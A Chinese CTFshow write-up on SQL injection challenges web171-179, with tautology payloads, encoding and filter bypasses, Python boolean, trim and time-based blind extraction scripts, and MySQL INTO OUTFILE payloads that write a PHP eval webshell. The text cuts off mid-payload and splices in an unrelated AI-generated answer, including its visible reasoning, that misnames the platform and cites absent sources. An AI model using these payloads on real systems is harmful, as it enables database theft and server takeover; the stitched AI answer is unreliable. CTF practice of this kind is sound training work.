CTFshow sql注入 上篇(web171-220)

本文详细介绍了CTFshow平台上的多个SQL注入题目,涵盖了各种类型的绕过方法,包括编码绕过、盲注、时间盲注、大小写绕过等,并提供了相应的解题策略和技巧,适合学习SQL注入攻防。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >


前言

师傅们加油!!!


题目

web 171(万能密码)

//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

id存在注入,可以直接用万能密码' or 1=1 %23,这时候#会把后面过滤了, where username !='flag' and id = '' or 1=1 %23条件恒成立,select语句返回所有结果

web 172(回显内容过滤,base64或者hex编码绕过)

(猫猫挺好玩的)

发现对username的回显内容进行检测

//检查结果是否有flag
    if($row->username!=='flag'){
      $ret['msg']='查询成功';
    }

可以用base64编码或者hex编码绕过,to_base64(),hex()

'  union select hex(username),password from ctfshow_user2 where username='flag

web 173(回显内容过滤,base64或者hex编码绕过)

对比上题,对所有回显内容都做了检测

//检查结果是否有flag
    if(!preg_match('/flag/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

由于flag格式是ctfshow{XXX},所以我们的flag不会检测到,直接用上题的payload,把ctfshow_user2改成ctfshow_user3

'  union select 1,hex(username),password from ctfshow_user3 where username='flag

突然想起来,如果flag格式是ctfshow{XXX}话,过滤flag并没有什么影响,已经知道表名,可以直接查询password拿到flag

'  union select 1,1,password from ctfshow_user3 where username='flag

web 174 (布尔盲注丶trim盲注丶replace替换字符)

过滤更严格了,数字也会被检测到

//检查结果是否有flag
    if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

试过了编码,都没有回显,应该是编码后还是存在数字,只能换个方法了

想到可以用盲注去解,保险起见现在burp抓包根据请求包写个盲注脚本,因为ctfshow的flag是用了uuid加密,可以直接构造uuid字典uuid=string.ascii_lowercase+"-}{"+string.digits

flag格式ctfshow{xxxxxxxx(8)-xxxx(4)-xxxx(4)-xxxx(4)-xxxxxxxxxxxx(12)}
其中每个 x 是 0-9 或 a-f 范围内的一个十六进制的数字。

布尔盲注

import requests
import string

url="http://b1c54244-c67c-41e9-80af-c6c916ee3cf2.challenge.ctf.show//api/v4.php?id=1'"

uuid=string.ascii_lowercase+"-}{"+string.digits
flag=""

for i in range(1,46):
    for j in uuid:	    
        payload = "and ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag') from {0} for 1))={1}--%20&page=1&limit=10".replace(" ", "/**/").format(i,ord(j))
        res = requests.get(url+payload)
        print(j)
        if "admin" in res.text:
            flag += j
            print("flag=",flag)
            break
        else:
            pass

trim盲注

# @Author:Kradress
import requests
import string

url="http://b1c54244-c67c-41e9-80af-c6c916ee3cf2.challenge.ctf.show/api/v4.php?id=1'"

uuid=string.ascii_lowercase+"-}{"+string.digits
flag="ctfshow{"

for i in range(1,46):
    for j in uuid:	    
        payload = f"and trim(leading '{flag}{j}' from (select group_concat(password) from ctfshow_user4 where username = 'flag'))=trim(leading '{flag}.' from (select group_concat(password) from ctfshow_user4 where username = 'flag'))--%20".replace(" ", "/**/")
        res = requests.get(url+payload)
        print(j)
        if "admin" not in res.text:
            flag += j
            print("flag=",flag)
            break
        else:
            pass

看了下群主的思路,可以用replace函数去把数字替换成其他字符

replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'0',')'),'9','('),'8','*'),'7','&'),'6','^'),'5','%'),'4','$'),'3','#'),'2','@'),'1','!')
# "a1b2c3d4e5" => "a!b@c3d4e5"

web 175(时间盲注 二分法和Mysql写webshell)

本身自己写了一个时间盲注的脚本,但是表现不佳,跑的速度太慢了,参考了Y4tacker师傅的脚本,用了二分法

import requests

url = "http://82f3585f-b6e9-42c4-b8fa-6bd57cf51887.challenge.ctf.show/api/v5.php?id=1'"

result = ''

for i in range(1,40):
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1 # 中间指针等于头尾指针相加的一半
        payload = "and if(ascii(substr((select  password from ctfshow_user5 where username = 'flag' ),{0},1))>{1},sleep(3),1)%23".format(i,mid)
        try:
            r = requests.get(url + payload, timeout=0.5)
            tail = mid 
        except:
            head = mid + 1 #sleep导致超时

    if head != 32:
        result += chr(head)
        print(result)
    else:
        break

还有种办法是MySQL写webshell,可以用outfiledumpfile来写shell

联合查询

?id=' UNION ALL SELECT 1,2,'<?php echo 123;eval($_POST[0]);?>',3 into outfile '/var/www/html/1.php' %23
?id=' UNION ALL SELECT 1,2,'<?php echo 123;eval($_POST[0])?>',3 into dumpfile '/var/www/html/1.php' %23

web 176(大小写绕过)

用order by,得知表有3列,发现select被过滤,但可以用大小写绕过

1' union sElect 1,2, group_concat(password) from `ctfshow_user`-- 

web 177(过滤空格)

可以用这些代替空格

%09
%0a
%0d  
%0c
/**/  
+
1'%0aunion%0asElect%0a1,2,%0agroup_concat(password)%0afrom%0a`ctfshow_user`%23

web178 (过滤空格)

上题的也可以解出来,换个方式

1'or'1'='1'%23

web179 (过滤空格)

%0c没被过滤

1'%0cunion%0csElect%0c1,2,%0cgroup_concat(password)%0cfrom%0c`ctfshow_user`%
<think>好的,用户想了解关于SQL注入在CFT SHOW WEB171环境下的相关信息或解决方案。首先,我需要回忆一下CTF题目中的常见SQL注入类型,尤其是WEB171这类题目可能涉及的技巧。 CFT SHOW的WEB题目通常设计用来训练CTF选手,WEB171可能是一个基础到中级的SQL注入挑战。首先,应该考虑是否存在联合查询注入、布尔盲注或时间盲注的可能性。用户可能遇到了需要绕过过滤的情况,比如特定的关键字被过滤,或者需要构造特定的payload。 接下来,需要分析可能的注入点,比如GET或POST参数。例如,题目可能有一个id参数,用户需要通过注入获取flag。常见的步骤包括确定注入类型(数字型还是字符型)、测试过滤规则(如空格、引号、注释符是否被处理)、以及如何绕过这些过滤。 比如,如果空格被过滤,可以使用/**/或者括号来绕过。如果某些关键字被过滤,可能需要使用大小写混合或双写关键字。此外,查看错误信息是否有回显,判断是否有报错注入的可能。如果页面返回不同响应,可以考虑布尔盲注;如果有延迟,可以尝试时间盲注。 还要考虑数据库类型,比如MySQLSQLite等,不同数据库的函数和语法可能不同。例如,SQLite的substr和MySQL的有所不同。WEB题目可能使用SQLite,因此需要相应的函数来构造payload。 然后,构造具体的注入步骤。例如,确定列数使用order by,联合查询获取数据库名、表名、字段名,最后提取数据。需要注意闭合引号,使用注释符如--或%23来注释剩余部分。 可能还需要绕过WAF或其他过滤机制,比如将select写成SELSELECTECT来绕过关键字检测。或者使用char()函数替代字符串,避免使用引号。 最后,给出一个示例payload,说明如何逐步获取信息。同时提醒用户在实际操作中注意测试和调整,因为题目可能有不同的过滤规则。 总结起来,回答需要包括注入类型判断、绕过过滤的方法、具体步骤示例以及可能的变种情况,确保用户能够根据实际情况调整攻击向量。</think>### SQL注入在CFT SHOW WEB171环境下的分析 在CTF竞赛中,WEB171可能涉及基础的SQL注入漏洞,通常需要绕过简单过滤或利用特定语法构造有效载荷。以下是关键分析步骤: 1. **判断注入点类型** 假设题目中存在类似`id=1`的GET参数,首先需判断注入类型: - 数字型:`id=1 and 1=1` 返回正常页面,`id=1 and 1=2` 返回异常页面[^2] - 字符型:需闭合引号,如`id=1' and '1'='1` 2. **绕过过滤规则** CFT题目可能过滤以下内容: - **空格**:使用`/**/`或`()`替代,例如`union/**/select` - **关键字**(如`select`, `union`):使用大小写混合(`SeLeCt`)或双写(`selselectect`) - **引号**:使用`hex`编码或`char()`函数替代字符串,例如`char(102,108,97,103)`代替`'flag'` 3. **联合查询注入示例** 假设存在回显字段: ```sql id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()-- ``` 若过滤`information_schema`,可能需要通过盲注或系统表替代方案[^3]。 4. **盲注场景下的Payload构造** 布尔盲注示例(基于页面内容差异): ```sql id=1' and substr((select database()),1,1)='c'-- ``` 时间盲注示例(SQLite语法): ```sql id=1' and case when substr(sql,1,1)='C' then randomblob(10000000) else 1 end-- ``` 5. **最终获取flag** 常见flag存储位置: ```sql id=-1' union select 1,flag from ctfshow_flag-- ``` ### 示例绕过代码(Python请求) ```python import requests url = "http://target-url.com/web171" payload = "?id=-1' union select 1,flag from ctfshow_flag-- " response = requests.get(url + payload) print(response.text) # 提取flag内容 ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值